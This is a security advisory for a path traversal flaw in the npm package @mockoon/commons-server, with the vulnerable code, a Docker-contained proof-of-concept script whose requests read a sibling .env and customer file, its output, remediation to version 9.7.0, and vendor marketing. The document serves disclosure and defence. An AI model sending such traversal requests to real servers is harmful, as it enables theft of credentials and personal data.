Summary
@Mockoon/commons-server: Path traversal in templated filePath lets a request escape the served directory (prefix-only base check)
A FILE response whose filePath embeds request data (e.g. "/srv/public/{{queryParam 'name'}}", the documented way to let the client pick a file) is confined by getSafeFilePath with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.
Details
packages/commons-server/src/libs/server/server.ts, getSafeFilePath (line 2315). The static base is the text before the first {{, resolved to an absolute path; the parsed filePath is then bounded by a string-prefix check:
const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336
const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled
const resolvedPath = resolvePath(parsedFilePath);
if (isPathAbsolute) {
if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355
throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
}
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362
throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}
With "/srv/public/{{queryParam 'name'}}", staticBaseDir = /srv/public. A request name=../public_backup/.env resolves to /srv/public_backup/.env, and "/srv/public_backup/.env".startsWith("/srv/public") is true → served. Any sibling whose absolute path begins with the string /srv/public is reachable; the relative branch (:2362) is the same against environmentDirectory. A correct check appends sep to the base, or rejects when relative(base, resolvedPath) starts with ...
filePath is request-controlled (queryParam/urlParam/header/body via TemplateParser) for every FILE response: HTTP sendFile (:1762), WebSocket (:1145), callbacks (:1586).
PoC
cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, [email protected], 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/[email protected] >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
console.log("[*] intended file (public/index.txt) :",await g("index.txt"));
console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env"));
console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv"));
})();'
POC
docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh
Output:
[*] intended file (public/index.txt) : public landing page
[+] escape -> ../public_backup/.env : AWS_SECRET_ACCESS_KEY=redacted
[+] escape -> ../public_backup/customers: Michael, [email protected], 555-22-7741
../public_backup/.env and ../public_backup/customers.csv are served, outside /work/public/, because their absolute paths string-prefix /work/public
Impact
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-59149 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (9.7.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
@mockoon/commons-server to 9.7.0 or later; @mockoon/cli to 9.7.0 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-59149? CVE-2026-59149 is a medium-severity path traversal vulnerability in @mockoon/commons-server (npm), affecting versions <= 9.6.1. It is fixed in 9.7.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-59149? CVE-2026-59149 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-59149?
@mockoon/commons-server(npm) (versions <= 9.6.1)@mockoon/cli(npm) (versions <= 9.6.1)
- Is there a fix for CVE-2026-59149? Yes. CVE-2026-59149 is fixed in 9.7.0. Upgrade to this version or later.
- Is CVE-2026-59149 exploitable, and should I be worried? Whether CVE-2026-59149 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-59149 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-59149?
- Upgrade
@mockoon/commons-serverto 9.7.0 or later - Upgrade
@mockoon/clito 9.7.0 or later
- Upgrade